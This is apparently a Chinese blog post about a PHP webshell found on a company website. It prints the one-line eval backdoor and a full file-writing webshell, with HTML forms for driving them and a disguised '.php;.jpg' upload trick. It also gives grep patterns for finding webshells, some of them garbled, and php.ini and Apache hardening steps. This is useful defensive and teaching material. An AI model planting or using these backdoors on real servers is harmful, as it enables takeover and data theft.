米扑科技的网站,被人植入了后门木马程序,经深入分析后,找到了后门程序。

-rw-r--r-- 1 nobody nobody     29 May  3 22:33 wtf.php

打开后门程序代码,查看如下:

# cat wtf.php    
<?php @eval($_POST["cmd"]);?>

有木有觉得,这是世界上最小的后门木马程序?!

 

代码功能分析

@eval($_POST["cmd"]);

执行POST来的cmd参数语句,别人可以以任何内容提交,这个程序把提交的数据当PHP语句执行,利用这个功能可以查看甚至修改你的数据库数据和文件。

使用的方法可以随便编写一个HTML来完成,例如:

示例1:后门查看 phpinfo

<html>
<body>
	<form action="wtf.php" method="post">
		<input type="text" name="cmd" value="phpinfo();"> 
		<input type="submit" value="submit">
	</form>
</body>
</html>

运行效果:

点击提交后,跳转到了 wtf.php 页面,查看了 phpinfo 系统环境信息:

 

示例2:后门上传文件呢

<html>
<body>
	<form method="post" action="wtf.php">
	<textarea name="cmd" rows="10" cols="120">
		// 这里面写PHP程序,随便连接数据和修改文件都可以,当然也可以用下面的语句查看你的PHP源文件来获取数据库路径和密码
		$str = file_get_content('https://mimvp.com');
		$str = str_replace('<', '&lt;', $str);
		echo "<pre>" . $str . "</pre>";
	</textarea>
	<input type="submit">
</form>
</body>
</html>

可以上传个图片文件,名称为:CELIVE-31G5CuG3Af.php;.jpg

内容为:<?php @eval($_POST['long']);?> 

 

 

Linux 系统下查找webshell后门的强大命令

一句话查找PHP木马

# find ./ -name "*.php" | xargs egrep "phpspy|c99sh|milw0rm|eval(gunerpress|eval(base64_decoolcode|spider_bc))" > /tmp/php.txt
# grep -r –include=*.php  '[^a-z]eval($_POST' . > /tmp/eval.txt
# grep -r –include=*.php  'file_put_contents(.*$_POST[.*]);' . > /tmp/file_put_contents.txt
# find ./ -name “*.php” -type f -print0 | xargs -0 egrep "(phpspy|c99sh|milw0rm|eval(gzuncompress(base64_decoolcode|eval(base64_decoolcode|spider_bc|gzinflate)" | awk -F: '{print $1}' | sort | uniq

 

查找最近一天被修改的PHP文件

# find -mtime -1 -type f -name *.php

 

修改网站的权限

# find -type f -name *.php -exec chmod 444 {} ;
# find ./ -type d -exec chmod 555{} ;

 

 

WebShell 是什么

WebShell 是一个asp或php木马后门,黑客在入侵了一个网站后,常常在将这些 asp或php木马后门文件放置在网站服务器的web目录中,与正常的网页文件混在一起。

然后,黑客就可以用web的方式,通过asp或php木马后门控制网站服务器,包括上传下载文件、查看数据库、执行任意程序命令等。

 

“木马”是什么

“木马”全称是“特洛伊木马(Trojan Horse)”,原指古希腊士兵藏在木马内进入敌方城市从而占领敌方城市的故事。

在Internet上,“特洛伊木马”指一些程序设计人员在其可从网络上下载 (Download)的应用程序或游戏中,包含了可以控制用户的计算机系统的程序,可能造成用户的系统被破坏甚至瘫痪。

 

后门是什么

一台计算机上有65535个端口,那么如果把计算机看作是一间屋子,那么这65535个端口就可以它看做是计算机为了与外界连接所开的65535 扇门。每个门的背后都是一个服务。

有的门是主人特地打开迎接客人的(提供服务),有的门是主人为了出去访问客人而开设的(访问远程服务)——理论上,剩下的其他门都该是关闭着的,但偏偏由于各种原因,很多门都是开启的。

于是就有好事者进入,主人的隐私被刺探,生活被打扰,甚至屋里的东西也被搞得一片狼迹。这扇悄然被开启的门——就是“后门”。

 

WebShell 的优点

webshell 最大的优点就是可以穿越防火墙,由于与被控制的服务器或远程主机交换的数据都是通过80端口传递的,因此不会被防火墙拦截。

并且使用webshell一般不会在系统日志中留下记录,只会在网站的web日志中留下一些数据提交记录,没有经验的管理员是很难看出入侵痕迹的。

 

如何寻找 WebShell

1,脚本攻击SQL注入

2,使用注入工具

3、悬镜服务器卫士是针对Linux服务器进行安全防护软件,作为一名安全运维人员,悬镜服务器卫士是一款必备的安全运维软件。

木马查杀功能主要是对网站WebShell的检测与隔离,WebShell检测主要快速扫描,同时还有恢复区与信任区。

快速扫描是对系统中的Web文件进行检测扫描,快速扫描的路径是由Linux系统中Web服务器配置的网站路径决定的;自定义扫描的含义是用户可以自主选择哪些文件及目录要被检测。

恢复区主要是为了防止您的误操作,例如:您可能会将一些重要文件当做是威胁文件而误清理掉,从而影响到系统的正常使用,所以在您点击了清理操作后,系统并未将威胁文件直接删除,而是将其放入恢复区中,您可以将因为误操作而清理掉的文件从恢复区中“找回”,并且被清理到恢复区的文件已经不能对系统产生威胁;

信任区是用户添加的可以信任的文件区域,当系统进行WebShell扫描之后,会存在一部分可疑文件,这些文件中可能存在一些敏感威胁信息,所以会被认定为威胁文件,但是您可以肯定这一类文件对系统并没有任何威胁,对于这类文件您可以将其添加到信任区,并且信任区内的文件再次扫描时不会被扫描到。

用户可以根据不同的选择进行有针对的操作。

扫描结束后界面中会显示扫描的结果:WebShell的个数、可疑文件个数以及威胁文件等,可以查看威胁文件的详细信息以及建议的处理方式,也可以点击一键修复。

 

 

全世界最小的php网页木马

php网页木马代码,大家可以看下自己的网站里面是不是有这样的代码,并在php.ini中设置一下。

php网页木马

  1. <?php   
  2. header("content-Type: text/html; charset=gb2312");   
  3. if(get_magic_quotes_gpc()) foreach($_POST as $k=>$v) $_POST[$k] = stripslashes($v);   
  4. ?>   
  5. <form method="POST">   
  6. 保存文件名: <input type="text" name="file" size="60" value="<? echo str_replace('\\','/',__FILE__) ?>">   
  7. <br><br>   
  8. <textarea name="text" COLS="70" ROWS="18" ></textarea>   
  9. <br><br>   
  10. <input type="submit" name="submit" value="保存">   
  11. <form>   
  12. <?php   
  13. if(isset($_POST['file']))   
  14. {   
  15. $fp = @fopen($_POST['file'],'wb');   
  16. echo @fwrite($fp,$_POST['text']) ? '保存成功!' : '保存失败!';   
  17. @fclose($fp);   
  18. }   
  19. ?>   


一句话php木马

<?php eval($_POST[cmd]); ?>   

 

 

PHP木马的防范方法 

PHP是能让你生成动态网页的工具之一。

PHP网页文件被当作一般HTML网页文件来处理,并且在编辑时你可以用编辑HTML的常规方法编写PHP。 

PHP代表,超文本预处理器(PHP: Hypertext Preprocessor),可以从PHP官方站点(http://www.php.net)自由下载。

PHP遵守GNU公共许可(GPL),在这一许可下诞生了许多流行的软件诸如Linux和Emacs。

PHP在大多数Unix平台,GUN/Linux和微软Windows平台上均可以运行。

PHP的另一好处就在于他的安全性,随着现在互联网的发展,网络安全越来越受重视,PHP的诞生几乎代替了ASP,因为PHP对于安全方面的设置是极为简单的不像ASP那样需要很多的步骤,和禁用很多的服务。不过再好的东西也始终会有不足,如果默认设置的PHP同样也是不堪一击,因此本文就来讲一下如何对PHP进行一些安全方面的配置,来防止脚本木马的破坏。 

一、防止php木马执行webshell 

打开safe_mode, 在php.ini中设置 disable_functions= passthru,exec,shell_exec,system 二者选一即可,也可都选。 

 

二、防止跳出web目录 

首先修改 httpd.conf,如果你只允许你的php脚本程序在web目录里操作,还可以修改httpd.conf文件限制php的操作路径。

比如你的web目录是/usr/local/apache/htdocs,那么在httpd.conf里加上这么几行: php_admin_value open_basedir /usr/local/apache/htdocs ,

如果脚本要读取/usr/local/apache/htdocs以外的文件将不会被允许,

如果错误显示打开的话会提示这样的错误: Warning: open_basedir restriction in effect. File is in wrong directory in /usr/local/apache/htdocs/open.php on line 4 等等。 

 

三、防止php木马读写文件目录 

在php.ini中的 disable_functions= passthru,exec,shell_exec,system 后面加上php处理文件的函数,主要有 fopen,mkdir,rmdir,chmod,unlink,dir,fopen,fread,fclose,fwrite,file_exists,closedir,is_dir,readdir.opendir,fileperms.copy,unlink,delfile 。即成为 disable_functions= passthru,exec,shell_exec,system,fopen,mkdir,rmdir,chmod,unlink,dir ,fopen,fread,fclose,fwrite,file_exists ,closedir,is_dir,readdir.opendir ,fileperms.copy,unlink,delfile 。 

ok,大功告成,php木马拿我们没辙了,遗憾的是这样的话,利用文本数据库的那些东西就都不能用了。

如果是在windos平台下搭建的apache还需要注意一点,apache默认运行是system权限,必须给apache降降权限,如下: 

net user apache f**kmicrosoft /add 
net localgroup users apache /del 

此时建立了一个不属于任何组的用户apche,只要打开计算机管理器-服务-apache服务的属性-log on-this account,在这里填入上面所建立的账户和密码,重启apache服务即可实现apache运行在低权限下。 

 

总结

实际上,还可以通过设置各个文件夹的权限,给每一个目录建立一个单独能读写的用户,来实现安全。

当前很多虚拟主机提供商的流行配置方法,不过这种方法用于防止这里就显的有点大材小用了。

只要我们管理员有安全意识,相对的禁闭不用的功能就可以保证网络安全的威胁。 

 

 

参考推荐

PHP eval() 函数

WebShell 木马被黑网站的解决方案